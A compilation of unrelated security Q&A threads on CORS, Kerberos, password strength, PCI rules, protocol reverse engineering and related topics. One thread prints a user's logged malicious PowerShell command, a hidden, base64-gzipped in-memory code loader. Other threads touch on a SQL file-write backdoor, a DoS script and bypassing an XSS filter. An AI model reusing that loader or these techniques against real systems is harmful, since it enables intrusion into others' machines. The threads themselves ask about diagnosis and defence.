When is CORS applied? I'm including some RUM (Real User Monitoring) JavaScript on a client's website that beacons back performance info. I was expecting to run into CORS issues but it seems to be working without any warnings or errors.

Scenario

App - sit.domainC.domainB.domainA.com

Performance probe - probe.domainE.domainD.domainA.com

JS code is hosted on same domain as App.

Users visit app and work as normal
Javascript sends XHR to probe with performance data

The page isn't served with Access-Control-Allow-Origin so I'm not sure why this works.

CORS works by determining if the request target responds with an Access-Control-Allow-Origin (ACAO) header. In this case, the request target is the performance probe. It does not matter whether the page is served with an ACAO header.

From Wikipedia:

  Note that in the CORS architecture, the ACAO header is being set by the external web service (bar.com), not the original web application server (foo.com). CORS allows the external web service to authorise the web application to use its services and does not control external services accessed by the web application. For the latter, Content Security Policy should be used (connect-src directive).

Assuming that the same-origin policy is implemented correctly, a user agent (browser) that does not support CORS will simply produce an error when making a cross-origin request.

A user agent that supports CORS will make a cross-origin request with the Origin header containing a value of the site where the request is sent from and one of the following situations will happen:

Response does not contain an Access-Control-Allow-Origin header. In this case, the browser will simply produce an error as the server does not allow for cross-origin requests.
Response contains an Access-Control-Allow-Origin header with a value of *. In this case, the code will continue executing as any site is allowed to make a cross-origin request to the server.
Response contains an Access-Control-Allow-Origin header with a list of origins. In this case, if the current site is in the list of origins then the code will continue executing as it is allowed to make a cross-origin request to the server. Otherwise, an error will be produced.

The above points are a slight oversimplification of the actual process. There can be more Access-Control-* headers involved.

For complex methods (i.e. non-simple methods) there is an extra step involved known as preflight in which a preflight request is made before the actual request.

Here is a flowchart that shows the process. The OPTIONS call represents the preflight process.

(Image used with permission, licensed under CC-BY-SA 4.0 by Bluesmoon [source])

You can read more about using CORS on HTML5 Rocks. The CORS specification is pretty helpful as well, though the wording is technical because after all, it is the specification.


Do public keys make Kerberos more secure (RFC4556)? We're using IPA to centralize our authentication and I found an option to add a public key for each user. After doing a little research I found this to be an extension to Kerberos 5, RFC4556.

From my understanding of how Kerberos works, it doesn't actually send the password. So I'm wondering: How does public keys add to the security of Kerberos? Is it something I should be using?

As a side note: We have some Mac users in our office, and unfortunately pkinit is missing. I haven't been able to find much about why this is, other than this post on the Apple mailing list saying "we highly recommend against using this for any purpose". Is this because of the security of RFC4556, or the security of how the platform used that protocol?

From RFC4556 :

  In the AS exchange, the KDC reply contains the ticket session key,
  among other items, that is encrypted using a key (the AS reply key)
  shared between the client and the KDC.  The AS reply key is typically
  derived from the client's password for human users.  Therefore, for
  human users, the attack resistance strength of the Kerberos protocol
  is no stronger than the strength of their passwords.

Therefore PKI extension is supposed to improve security of this initial Authentication Service exchange.


Is this powershell script an infection? While I was sitting in front of the computer not using it,my Windows 10 machine quickly flashed a few terminal windows, and then gave me a Windows Security popup, asking for my password.

I have no idea what this is for, so I did a little poking around in the file explorer and the Event log, and found a whole series of entries for PowerShell with the following data:

HostApplication=powershell.exe -nop -w hidden -c $s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String(
'H4sIAEy98VUCA7VWbW+bSBD+nEr9D6iyBKiOjRO3TSNVOsAQ4zOOKTaO7VonDAusvbwE1rFxr//9BhsS99pU6UmHkNiXmZ1nnpnZwdtEDsVxxNALfcV8ff3qbGindshwtcBKrSvpwpus6kxt793eJ8Mr/uwMJGphL8qzeGcO75hPDDcXk6QThzaOFtfX8iZNUUSP88YNomKWoXBJMMo4nvmbmQQoRee3yxVyKPOVqf3VuCHx0ialWC7bToCYczFyi71+7NgFuoaZEEw59ssXlp+ftxYN5X5jk4xjzTyjKGy4hLA8840vDI7yBHGsjp00zmKPNiY4urxojKPM9tAATntAOqJB7GYsD77AmyK6SSPmxKvimKMQx8JwmMaO6LopykCnoUUP8RpxtWhDSJ35g5uXGD5vIopDBPsUpXFiovQBOyhrdO3IJegz8hbcAG0r11+qxJ0qgdSQpnwdovMsWD12NwQd9Vn+R7gnceXhOYkt0PHt9avXr7wqJVatm6uHbTb0T/MCRmfzwxgBZG4YZ/gg/IkR6owOZm0apzlMa6N0g/gFMy8CMl8smFqWZn/11frzJ7QqcRAmIz1Z9S/1Yn1uxdhdgF4ZsdpSSO6L9eczr4M8HKFOHtkhdqrk4n4WAeQRdPC3UYkNABnHlhvI7SCCfJsWbNaZ+Y9qSojpo660wcRFqehAFDNABQHmvwdzDBDHapGOQqDqOGchEB6kNKqkyzTOK+vFHIRYmdhZVmeGG6gpp86YyCbIrTNilOFyS9zQ+DBkn+DqG0KxY2e0Om7BVzyW9uQ4ymi6cSB64PvITJCDbVJQUWe62EVSbmK/ssv+lAjZJgRHPpz0AIGAlYIAkxY5kQLEMv58w0RUCxOCQpA6lLdKbB+KuSyGQxrZPnLZf2Os0vyY0wUbFQ0nCCHEJolpnbFwSuGWKJh9TKb/iuLkmjjgkVNUxoSrymYu5bTI89rWv729JEV6lhQdCEkpkKGmcSjZGXrfNmkKVHFvmgruvBt24r0Ij6J+NizJHFszTXd7xNSoOVVwfxwEGm5pPszzseIPqZD8ORp1e2anK6adXeCJWqYpXSk3WpLodPEHqyeNx6CH5b6x2mmiK4X+nT+Vt9owuNPAkNz3NR++khY4kjATfElQ5b4pBQoWRN80uka7NdOaV0TCe1Mzxe7k0d6jHaXd7t7tRuJA74mBeuuqrQv1oL8u9Gfrm35HOcydYm5MMwUrYEdRp4YVoImVSBNFnRlWovlvt75h9ZttNZBgXcO7fmI24Wm1eg+Ru9fJ1V4HuIY162E003yU+6IhiuY0IuZyK4M/PTnzkaKoY1hbj7RoZywT3c2n3eZHS8coiUVDEUWVQHmGor3tNFuTWDWsd8ZYEXb5WNhtlVVzq+Dedl1+xzfv3/tNrz1sWqYWde1AArx5r73GvbewF9qWMPWaVsFfR4ma++iO2EO5FZNlszXGnQ+SpGHUG+gOuZfAZzjjnbGM5Qsn8ACT5l8Z/t06WH0ME/CLxKJ0iH8hlwPPPcA/TdQhKWSxM+hhxy3O6mEPznWBIw988fuzXAWaxr60Ffxkt8bqx+guMLxm9KbIWkjb2n7dIuH+JBufazm6nWaBTSBLoYtU14Qap2rZDoYxLjQ47vCnsEZphAg0Vmi9VaWJhMRO0Z2eGge0x2PTWsCNMYbh5cVPRzzzKMg/Na1q6fp6BlChdo+l1eijyKdBXdhdCgJ0HWHXFsDdlzsox0nOlYfVi75VsvRkgRws8EVd12I16d5Mwo7+/5JYXikBfNwXkfi09ovdFxEr1CsCftj4fuG3WP5tBiY2piBpwsVI0LFL/4KIMnFOfnEeAwWZ4ZVP8c95u6HnA/j9+QfZGsmx7AoAAA=='
));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The base64 string decodes to one starting with a valid gzip header (hex 1F 8B 08 ...)  I tried unzipping that on my Mac, but ran into an error.

Does anyone have an idea what this is, and is there any chance it is legitimate?

Update :
  The infected machine is a Win 10 host running in VirtualBox on Mac.  Is there any chance the Mac host can be infected?  I am assuming that this is  something  that virtualization prevents,  but exploits are always evolving...

It decompresses just fine for me... I converted the Base64 string into binary, then ran gunzip on it (I am using a Linux system here). This results in another piece of PowerShell that does things which can only be considered as definitely fishy. It contains a piece of 450 bytes, that it loads into (native) RAM, and runs as code. I am way too lazy to disassemble the piece of code, but I feel pretty safe when I say that this piece of code is not safe at all.

Looks likes there is some malware in your machine, that tries to gain some privileges. It's time for some nuking, I'd say.


Possible shellcode mailed to me When I opened my email this morning I found a rather odd message in my mail box. It didn't seem like your every day spam email as it looked like a base64 encoded string and nothing else. Here is a screenshot of the email:

I tried running it through decoders, and after decoding it to hexadecimal I ran it through a malware analyzer on this website, and it looks like possible assembly code.

There is also a strange header in the email: X-phsgyov: twxmjuo says, which makes it seem like the email was crafted.

My question is, does anyone have any knowledge of what this is? There is a pastebin link of what I've found so far here.

In your interpretation of the message, you're performing a step that a computer wouldn't: you're assuming the output of the base64 decoding process is ASCII-encoded hexadecimal and converting it to binary before performing the disassembly process.  The first few bytes of the message are (note: there's a newline before the 5

571266161278423

with hex values

0a 35 37 31 32 36 36 31 36 31 32 37 38 34 32 33

which disassemble to

0000: or    dh,(di)
0002: aaa
0003: xor   (bp:si),si
0005: seg   ss
0006: seg   ss
0007: xor   $3231,si
000b: aaa
000c: cmp   (si),dh
000e: xor   dh,(bp:di)

which is utter nonsense.  There may be a hidden meaning in the message, but it isn't shellcode.


Nmap scan list of domains and provide boolean if up/down I have a newline separated list of domains that I would like to perform an arbitrary nmap scan on (e.g. aggressive, syn) and I would like to output a boolean that indicates whether or not any ports are open. The primary function here is to deduce whether a server is up even if it is ping blocking.

Is there a common pattern to accomplish this?

I am using the following to put the results into a monolithic XML file, but stanzas are not connected.

 mkdir results ; for ip in `cat servers`; do nmap -oX results/${ip}.xml -T4 -A $ip; done

Consider this command:

nmap 127.0.0.1 -T4 -p 111 -sT -oG - | awk | awk '/^Host: .* Status:.*Up/ { print $2" UP" }'

A common pattern using shell scripting is to use grepable output.

Use the flags "-oG -", the final dash is to redirect output to stdout.

Output from "-oG -" in this example outputs the following when I ran it at my own server:

Host: 127.0.0.1 (localhost) Status: Up

The output is redirected to awk, where it searches for strings starting with "Host:, and contain open ports.

When this pattern is found, awk will print:

127.0.0.1 UP


Definition of information in ISO 2700x I've searched through recent versions of ISO 27000, 27001 and 27002 and couldn't find definition of "information". Where can I find it? Is "information" defined anywhere? Or maybe I should look at some other standards?

To be clear, the ISO 27000 family of standards is not about securing information. It is about defining the standards for an Information Security Management system (ISMS).

"Information" is not a focus, and defining that word is not required. The point of the family of standards is to get the organisation to define what information is and how it needs to be protected.

Quoting ISO 27000:

  0.2   Purpose of this document

  The ISMS family of standards includes standards that:

  a) define requirements for an ISMS and for those certifying such systems;

  ...

The definition of the requirements of an ISMS includes making sure that you are clear about what "information" is and if/how it needs to be protected.

So, I would say that you are expecting something from the family of standards that it is not concerned about.


Song Lyrics as passphrases I have a question slightly similar to this question. I am familiar with the
 correct horse battery staple example from xkcd, yet I am leaning towards songlyrics as a passphrase, since I have a brain that remembers songlyrics very easily.

Now, I am wondering how long a passphrase made up of songlyrics should be at least, to provide "acceptable" security level comparable to the 44 Bits of correct horse battery staple. The tricky part is the social-engineering part of the question. If I google the lyrics beforehand, like one answer mentioned here, I know I am not covering up my trails. But, like I mentioned before, I know many song lyrics by heart and do not need to look them up before setteling for a passphrase. Would that do me good?

In essence, my question is asked with the assumption that a hacker social-engineered my fondness of pass-lyrics. In case that is a known fact for an attacker, how long should pass-lyrics be and would it also be a self-inflicted wound to use song-lyrics including numbers? I guess the latter part will definitely make it easier, for social-engineered attacks, yet harder for brute force.

I am well aware of the vagueness of my question, but all I am looking for is a basic rule of thumb. Right now, I am using pass-lyrics for rather low-risk accounts, but I am trying to think of something and the correct horse battery staple is not ideal for my stupid-ass brain.

Eidt: I do not think it to be a duplicate of that BBC question in question, since I am considering whole lines of lyrics instead of first letters and as one asewer pointed out, 7 letters cover 65% of the language with the first letters of words.

As with any password guessability/strength question, likely the most important factor is "who's the attacker".

For online password guessing attacks, by an attacker who doesn't know you, the most important factor is ensuring that your password won't be guessed before the account lockout kicks in.  For that as long as your password isn't in the top couple of hundred likely picks, you are likely to be ok.  Lyrics (especially ones from a song that isn't currently that popular) are very unlikely to be guessed here.

If you think about a scenario where a website you have an account on has been compromised and the password database is being cracked, well your account on that system is likely burned, so in terms of stopping the security of your other accounts being affected the most important factor is ensuring that you use unique passwords on each site you make use of.  If you can do that with song lyrics, you won't be affected by the compromise of one password.

If your looking at a scenario where the attacker knows you, things get more risky, especially if you've disclosed the scheme you're using.  It would be relatively easy to create a database of popular song lyrics and apply that to an offline password.  But what you've got to consider is, is anyone who knows you likely to do that... That's a risk decision only you can make.

Some practical considerations with this scheme.  You may well have problems using it on sites which enforce password classes (e.g. special characters).  You may also have problems with sites which enforce arbtrary upper limits on password length.


Problem with Reverse Engineering GVM light, possibly encoding issue So I bought this GVM-560AS LED photography light on Amazon. It is a really good light for the job; but to control it remotely you have to download a really dodgy APK from the GVM website, a package which flagged red across the board on VirusTotal.com

So in the spirit of experimentation I loaded the control app onto the Android emulator and captured the packets it sent to the light over WiFi.

It is sending UDP messages to port 2525 on the broadcast address 192.168.4.255(/24),
When I replay these UDP messages with Python it has the desired effect in controlling the light.
The issue is that I can't make sense of the message generation mechanism, and enumerating the 65,000 potential states seems a little tedious.

The message to turn the light on is
ffffffffffff20720d390dfa0800450000341213400040119e54c0a80402c0a804ff92b009dd00207e4934433534303930303230353730303030303130313338354230333030303000000000900000000000

The message to turn the light off is
ffffffffffff20720d390dfa080045000034f14040004011bf26c0a80402c0a804ff83ed09dd00208c0e3443353430393030323035373030303030313030323837417375620b5f6700000000900000000000

The message to set the brightness to 11% at 3200K is
ffffffffffff20720d390dfa0800450000340bb640004011a4b1c0a80402c0a804ffb4e809dd002046f03443353430393030323035373030303230313062463737310035002ff1ba00000000900000000000

The message to set the brightness to 63% at 3200K is
ffffffffffff20720d390dfa080045000034aee7400040110180c0a80402c0a804ff9cbf09dd002060163443353430393030323035373030303230313366383141360035002fd18cb003ff3f900000000000

I am guessing that this is just a weird encoding scheme that I can't figure out, rather than it being some kind of proprietary RPC.
Any suggestions or pointers towards the generation mechanism would be much appreciated!

First things first. After stripping the Ethernet / IP headers from your packets and interpreting the payload as an ASCII string, we come up with the following values:
4C540900205700000100287A ⟵ turn on
4C540900205700000101385B ⟵ turn off
4C54090020570002010bF771 ⟵ set brightness to 11%
4C54090020570002013f81A6 ⟵ set brightness to 63%
Next, I obtained a copy of the APK, extracted the DEX file, and disassembled it. Fortunately the code was not obfuscated and it was very easy to see how the values were being generated.
From what I can tell, the payload is a string consisting of the following components:

The string 4C5409
The device ID (00 in your case)
The device type (20 in your case)
The string 57000
The command (1 character)
The string 01
The parameter (2-4 characters)
The CRC-16/XMODEM checksum*

* the checksum is computed by taking the concatenated value of the preceding components and interpreting it as hexadecimal byte values
The parameters differ based on what command is being sent to the device:
0 ⟶ set state (parameter is 00 for on and 01 for off - go figure)
2 ⟶ set brightness (parameter is percentage of intensity; for example: 63)
4 ⟶ set temperature (parameter is temperature; for example: 4500)


Access MySQL via MySQL credentials, assuming no remote MySQL, FTP, or SSH access? LAMP stack, dedicated server.

I set up some MySQL users, gave them full access rights to the necessary databases, and provided the user credentials to some freelance developers.

Now that the project is concluding, I've:

changed those passwords and updated any reference to them in the code
removed all developer FTP accounts
changed the cPanel password
verified that remote MySQL access is disabled

My question is:
What security risks are created and/or exacerbated by a malicious actor having valid MySQL credentials but no FTP, SSH, cPanel, or remote MySQL access?

For most information systems, the asset value lies not in the software but in the data - so anyone with access to the data has access to the primary asset. There is scope for information theft, vandalism and injections.

You say you have now changed the passwords, however...

Assuming that they only ever had remote MySQL access, they could still install a backdoor using SELECT....INTO FILE to create a PHP, or Perl script.

If these were developers working on code you are still running then they could have added backdoors in that code too. Having inherited a system in just that state, I know how hard it is to identify the bad code.

That you use FTP and CPanel does not inspire a lot of confidence in the integrity of your system.


Combat Apache Killer Three days ago, KingCope released a simple Perl script to DoS Apache, aptly named Apache Killer.

This script launches about 50 threads to request Partial Content from the server with optional GZIP encoding. This either will consume too much memory that the OS has to kill all other processes, or too much CPU that the server is brough to its knee.

Apache Foundation has not yet released a patch.

What is the best way to combat this?

By reading the script provided by Mark Davidson, the obvious temporary solution would be to disable apache's partial functionality if not needed.

This problem seem to be an old one, which have been "solved" by disabling the partial content requests. Here are two patches for previous versions of apache.

Apache 1.3.36

Apache 2.0.58

I downloaded the current apache source for debian squeezy to check for traces of this patch.
Unfortunately, it seems like this is not implemented.

I'm not familiar with the source code for apache2, so I will not try to write a patch for it. This can be an exercise for the reader :)


Is an 80 bit password good enough for all practical purposes? I know that asking how many bits of entropy comprise a strong password is rather like asking the length of a piece of string. But assuming the NSA is not on to you, and that it is hardly worthwhile anyone spending a decade brute forcing your email, then will 80 bits suffice?

Short answer: The more the better, but for now (2014) this is probably enough.

There is an important distinction between hacking into your Gmail and cracking an offline password. If you want to hack a Gmail account by guessing the password, you can only do a few tries per second at most. Google will block thousands of login attempts to a single account in too short a timeframe.

However if we are talking about, say, a Windows login, then it is stored locally. Windows has a database with the hashed password somewhere on the hard drive (in layman's terms: the encrypted password). This means that someone with access to the hard drive can extract the hashed password and start cracking however fast their computer can, which may be many millions of attempts per second.

Or when a database is hacked (see: LinkedIn), hashed password are often obtained and people can start cracking locally just like with a Windows login. This is where password strength really becomes important.

Edit: Like emory and JS. commented, you should assume all services get hacked at some point, so while right now you may not be able to brute force your Gmail password very fast, it could change any day. And not every company admits (or knows) that they got hacked. I still think it's okay to use reasonable passwords (if hackers can't crack it in 5 minutes they are just going to move on to one of the other 90 million passwords they obtained), but it's a valid point that no service is perfectly secure.

About password strength

(Jargon: you can think of "entropy" as being "true random data".)

So is 80 bits enough? Consider the following 80-bits password: 1111111111. Doesn't look very strong... How about this one, which is 160 bits: "horse battery staple" (20 bytes times 8). Better, but it's actually 3 words instead of 160 bits. If there are 10'000 possibilities in the English language then you can make 1 trillion combinations with 3 words, which is a lot, but nowhere near the 1 quindecillion possibilities you would have with 160 bits of entropy. Finally, how about 0MxLrTm8Z1? That is generated by a secure random number generator. It's 10 characters and takes 80 bits in storage. But how much entropy does it really contain? It's only alphanumeric (a-z A-Z 0-9), or 62 possibilities, making only 8.39*10^17 possibilities, or 59.5 bits of entropy.

So having a 10-character password does not mean you have 80 bits of entropy to crack through before finding the original. To store 80 bits in printable characters (the ones that you can type on a keyboard), which includes special characters like *&$@, you would need a password of 13 characters long.

Forward thinking

Another issue is that computers get ever faster. 80 bits is secure for now, but if you encrypt a file in 2014 with a now-safe password, maybe it could be cracked in 2017 when 36 months* have passed and computers became roughly 4 times faster.

While in 1993 a 6-character password (taken straight from a dictionary) might be reasonable security, in 2014 we debate whether 10 random characters is enough.

* Attentive readers will notice that's twice Moore's law (even more attentive readers will note that Moore's law was about transistors on a chip, not a computer's speed).

Password usage

And finally we have practical matters to think of: how do you manage your passwords? If I tell you that 80 bits is probably enough (which I just did), are you going to memorize a random 13-character password with lots of strange characters, and then use it for every account you have?

Whether a password manager is a good idea is another topic, but using different passwords is better than remembering a strong master password. It would be best to use a strong and unique password everywhere, but that's just not doable without writing it down or using a password manager, which introduces other risks. I'll leave such considerations to a dedicated question.


Is storing CVV in two parts separately a violation of PCI? I was going through the integration documents of a payment processor, and as per my understanding of the code, docs and disassembly, they are doing the following:

Encrypting the CVV on the server-side
Returning half of the ciphertext to the client
Allowing the client to store the partial ciphertext

On further payments, they ask for the partial ciphertext, and allow the payment to pass through without asking for CVV again.

The PCI Doc mentions the following for CVV:

  3.2.d For all other entities, if sensitive authentication data is received, review procedures and examine the processes for securely deleting the data to verify that the data is unrecoverable.

Would splitting the CVV and then storing it qualify for "unrecoverable", since both parts individually cannot be used to recover the original? Or would this count as a violation?

I am not a QSA, but this is my understanding:

The intent of that rule is that the CVV is only available to send to the issuing bank when the cardholder types it in themselves.  If the processor is able to recover the CVV in any way which would let them send it without the cardholder entering it, then that is a violation.

By itself, encrypting and splitting the encrypted data is not a problem.  However, if you are able to submit your half and recombine it with their half, then that is recoverable.   And since there would be no point in this process if you weren't able to submit your half, then the whole thing is, in fact, a violation.


Store which parts of an IP address, for user to remain anonymous? I'm thinking about building a very anonymous forum, where people can comment and upvote each other's comments anonymously. People are supposed to remain anonymous even if the forum's database contents becomes publicly available. As one step to prevent vote fraud, I'm thinking about storing parts of the IP address. Only parts of it — if I were to store the whole IP, the forum would no longer be so very anonymous.

IP addresses are like 111.222.333.444. Which parts of the IP address would you recommend that I store? (If any?)

And what about IPv6, which parts of an IPv6 number?

As far as I know, the initial part of the IP address identifies the Internet Service Provider. And the last digits identify the computer within the ISP's network. What about storing parts _22 and _44, ___._22.___._44?

(Hashing the IP doesn't seem like an option, since there are only 4e9 IPs and it therefore would be relatively easy to crack the hash, i.e. test all 4e9 IPs and find out which one results in a given hash. And hashing a secret value + the IP also won't work, since people are supposed to remain anonymous even if the secret value is exposed.)

(Bloom filters is an option, but I'm thinking they'd require rather much storage space, something like 5KB per comment.)

For IPv4, there isn't a good option.  The address space is effectively entirely in use, so any partial storage means that one person voting can potentially block others from voting.  The numbers towards the left generally represent ISP, geographic area, etc. -- things that an attacker might be able to figure by other means.  The numbers towards the right generally represent individual users.

Which parts of the address you store determines the pattern of which users' votes block which other users, and to some extent how much privacy is provided.  For example, if you store the three right-most parts of the address, a user can't block other people from his ISP from voting but will block random people scattered around the globe; an attacker who can guess the user's ISP can figure out their full IP address.  On the other hand, storing the three left-most parts means an attacker knows immediately which ISP and probably geographic location a user is from, but can't identify the individual; one voter from a small ISP (or the nation of Qatar) can block all others.

IPv6 is different.  Essentially, the upper half of the address is assigned by the ISP to the user, while the lower half is generated by the individual device (see IPv6 stateless autoconfiguration and IPv6 privacy extensions).

If you store only the lower half of the address, someone who gets a copy of the database may be able to confirm that someone they suspect is participating actually is, but can't go the other direction and generate a list of participants.  If the user has an OS with privacy extensions enabled, confirmation is impossible, but so is preventing duplicate voting.

If you store only the upper half (or only part of the upper half), the situation is essentially the same as with IPv4.


What is a good way of preventing captcha jacking attacks? Captcha jacking is an attack to bypass a captcha by coercing a human into solving the challenge response. Prof of concept code that uses a proxy can be found here.

Is there a good method of preventing this type of attack?   How can an application prevent bruteforce attacks or automated account creation in light of captcha jacking attacks?

A CAPTCHA is meant to ascertain that, at some point in a computerized procedure, a human being was involved. In the case of "CAPTCHA-jacking", well... that's entirely true ! The CAPTCHA works. What this shows is that the security characteristic provided by the CAPTCHA is not exactly the fabled "One Filter to kick them all".

So I would say that the "good way" to prevent CAPTCHA-jacking attacks is to accept that a CAPTCHA is just a partial heuristic filter which will find its place among with other heuristic filters, like the number of requests for a given resource, indexed per IP address, time,...

Still, we can include some countermeasures for some specific scenarios. For instance, suppose that the attacker redirects the CAPTCHA challenges (from site siteA.com) to another site (siteB.com), so that the humans who solve them actually believe that they are requested the CAPTCHA in order to enter siteB.com. The maintainer of siteA.com may include the string "this is for siteA.com" as part of the picture, e.g. as some grey text in the background (with some random placement). The idea being here that if the CAPTCHA-solving humans are involuntary accomplices, then making them aware of the possible foul play may trigger faster reaction and retaliation against the attacker.


OpenSSL: what's the difference between -kfile and -pass? It seems both -kfile and -pass can be used to encrypt files with a 2048 bit keyfile? I don't understand the difference between the two methods:

$ openssl enc -salt -aes-256-cbc -in inputfile.txt -kfile 2048bit_keyfile.key

$ openssl enc -salt -aes-256-cbc -in inputfile.txt -pass file:2048bit_keyfile.key -out outputfile.txt.enc

Which method uses the full entropy of the 2048 bit keyhole?

-k and -kfile are deprecated
The OpenSSL ENC wiki page says this:

-k password, -kfile filename
Both option are used to specify a password or a file containing the password which is used for key derivation. However they are deprecated. You should use the -pass option instead. The equivalents are -pass pass:password and -pass: file:filename respectively.


What is the purpose of 'Version:' in PGP public key PGP public keys look something like

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.9 (GNU/Linux)

mQGiBEl2HAgRBAC9IZGQE3NRWFoXV7CcVRbo7xMe+nGPRMTOocA0pcv9N67R6CAZ
...
-----END PGP PUBLIC KEY BLOCK-----

I'm wondering why the 'Version:' line is always included and if it's safe to remove. Why advertize what version of GPG/PGP and operating system being used if decryption does not depend on information in the 'Version:' line?

You can safely remove that line. RFC 4880, OpenPGP does not declare it as required.

  Currently defined Armor Header Keys are as follows:

  "Version", which states the OpenPGP implementation and version
  used to encode the message.
  [...]

I also could not find any evidence of version data being included in the binary version, neither by reading the RFC nor by viewing at the package data using gpg --list-packets.

To remove it, use --no-emit-version. From man gpg:

   --emit-version
   --no-emit-version
          Force inclusion of the version string in ASCII armored output.   --no-emit-
          version disables this option.


Determining whether a local area network is encrypting information in transit My computer is connected to a switch. Numerous other network devices are also connected to the (local) switch.

Is there a simple way of determining whether the connection between my desktop and another network device (i.e. a printer, another desktop, etc) is encrypted? Without the need for packet sniffers, etc?

I interested in determining whether outgoing traffic from my desktop is being encrypted at the workstation level.

There are lots of protocols on a LAN that use encryption, so if you know you are using one of those, you can make some assumptions.

But you open up the question when you say "all outgoing traffic" because it is possible that proxies force unencrypted traffic on the LAN but turns it into encrypted traffic outside the LAN, even though you specify that you wanted to use encryption (like HTTPS).

WiFi communication can be encrypted, too, but only on one layer of the communication. So, it is possible to say that "all your WiFi communication is encrypted" but as soon as it hits the switch, anyone on the LAN can read it in plaintext. But it depends on the layer of the communication that you are asking about.

The shortest route to an answer is to ask the network technicians about what encryptions are used and where, but they might not give you a complete answer for your specific situation.

The only way to be sure is to see the traffic itself by using a packet sniffer. It's the reason they exist. Wireshark, for instance, is small, easy to use, and has tons of pre-packaged analyzers to help you answer these types of questions.


I found my user details on already old, leaked account information list I came across an old (>3 years) accounts information list which has been leaked to the web. The list included thousands (>10.000) of account details from a service or services. Apparently the event was a small-scale news item back in the days, so there's not too much to do now, even if the one page I found would be removed from the web right now.

However the list included my account name and hashed password which could be easily decrypted to plain text. I haven't used the password for years anymore, but I still use a rather similar one on some websites. I also use the account name every now and then. I haven't come across anything suspicious on my accounts for what I remember.

My question is what should I do to prevent any possible upcoming harm?

I'm unsure of what should I do. I guess I should have a thought of at least these things:

Other accounts using the user name and/or (similar) password
Search-engines - is there any way to globally remove the page/pages appearing on searches?

First of all, you should make sure that you don't use that password, or a derivative, anywhere that you care about. This is most important if you use the same username or email address, but still something that you should do for completely unrelated accounts. If a password is crackable, it may have been incorporated into wordlists already. And even if not, hey - it was crackable in the first place!

Second, it seems prudent to go over the rest of the account information in that dump, and see if there's anything that you consider sensitive or private. What you do if you find such information will depend on circumstance, but I don't see why you should stop at just checking the password.

As for trying to get that information removed from the web? You could try, but it's really, really hard to purge information once it's been posted. Especially since password dumps are likely to be shared on all sorts of places which don't respect polite requests. If your password is the most important thing in the dump, I'd just assume that the password is compromised, and instead focus on limiting the damage that can be done.


The benefits of CISSP Training for a Java developer I am currently a Java developer and content with what I make. My company currently offers a 7 Day CISSP training and I am not sure, whether to take this training.

What benefits can I benefit by taking this training or it would be just a time consuming activity to take this training in my case?

It depends on what you're aiming for. The CISSP is said to cover topics "one mile long, one inch thick", so it's everything from malware, organizational stuff, disaster recovery, cryptography, physical security (which fire extinctors for which fires), identity management, even secure deveopment and testing. So it's veeeeeeeeeeeeeeeery broad but every topic is covered pretty superficially.
So if you're aiming for a security career then it is a helpful asset, definitely. But if you are more a technical guy and you want to stay technical then I would do something where you can develop a rare technical competence. the CISSP training book has more than 900 pages. If you want to get the certification you REALLY REALLY need to spend a lot of time on this stuff (I doubt a one week training will be enough).


How to configure Chrome to stop external websites accessing my router? Yet another serious router vulnerability has been disclosed: https://www.exploit-db.com/exploits/40889/

This is a command execution vulnerability through the web interface. I'm not too concerned about internal users being able to exploit it; I only allow trusted people on my network. However, a major concern is that external web sites could exploit it as a CSRF attack.

How can I configure Chrome to prevent external web sites referencing or redirecting to my router? Ideally I'd like to still be able to manually browse to the router admin page, although I guess I can live without that.

For FireFox, the NoScript plugin can do this using ABE - Application Boundaries Enforcer.

As a workaround I have patched the router and put it on a non-predictable IP address. However, that's only a partial solution as further issues are likely to appear in future, and there are various ways for web pages to access private IP addresses (e.g. WebRTC, Java).

There is no built-in way to block CSRF from inside Chrome and actually cross site requests which might look like CSRF are often used for a valid purpose like single sign on or use of a payment service.

There are some Chrome extensions which help you to deal with CSRF. Apart from that you might try to setup a proxy policy using a local PAC file where you forbid access to your router. But, as long as the router accepts requests with any hostname the attacker can work around this filter with some DNS tricks like returning the routers local IP address in the DNS record for attacker.example.com. Apart from that you might add a local firewall rule outside the browser which prohibits access to the router at all from your system.
The best way would of course would be if the router would not be vulnerable from start.


Company computer use from home - how much can they see on the desktop? I have a company supplied computer that I use from home. I log into VPN (cisco AnyConnect) when i need to access company email or internal company sites.

In the past the company has been able to "take control" of my desktop to make software updates (after i handed power over to them). A co-worker -- also off-site -- received an email from the company saying that Mac her internal hard drive was over 90% full and advised her to delete files that were no longer needed to avoid a possible hard drive failure.

So my question is how much can they see? Obviously if i'm logged into VPN they can track the sites I'm on, but what about if i were to log into my bank to check on a balance or pay a bill?

Or even my browsing history when not logged into VPN? how about an area on the computer where I might keep passwords for various sites (everything from facebook login info to credit card accounts)?

The tools are out there for a company to collect a great deal of information about how you use your work-supplied computer. There is software available that can record every keystroke, complete browsing history, even periodically take pictures with the webcam or sound from the microphone. Your company may not have this sort of thing installed, but it is good advice to assume that anything you do on that computer, or even within sight or hearing distance of that computer may be recorded.

In many cases the law isn't particularly clear about what information companies can use, historically companies own and have the rights to anything you do on their equipment, even if you weren't clocked in. People have been fired from their jobs and students have been expelled because of information on systems when they weren't at work or school.

In other words don't use your work PC for anything that you wouldn't want your employer to see or hear.


Is Password Less Login mainstream? What sites are using Password Less Login? Looks like GE's FirstBuild community site is using Password Less Login pattern. For Login, they just email a custom temporary PIN to a registered email address

I am curious which other popular sites are using this pattern of Authentication? Is it mainstream? By mainstream I mean if 10 (or more) sites with large userbase (50K+ user) are using this pattern of Password Less Login.

We are currently using a off-the-shelf IAM solution for a very large user base. This off-the-shelf product doesn't support aforementioned Password Less Login scheme. I am planning to submit a Feature Request for this, but I want to first understand a) if this authentication pattern is mainstream; b) Is it NOT less secure than a static password with email based password recovery system.

Having a list of sites that are using this pattern of Authentication, will help me in making a case for the Feature Request.

I read that Mozilla Foundation wanted to use this form of Authentication for Webmaker. But doesn't seem like they implemented it. That's why I am curious.

I know https://medium.com/ is using it. They send link to your email address and you should click on it to let you use the service.


Bypass a simple XSS filter that only looks at < Say, I have a page where the input from the user is taken and is passed through a simple client-side XSS filter. That filter only replaces < characters with ''.

in = in.replace(/[<]/g, '');

The input is then passed on to JQuery's html() method in order to embed the user input inside a <div> tag.

How can we bypass this simple XSS filter?

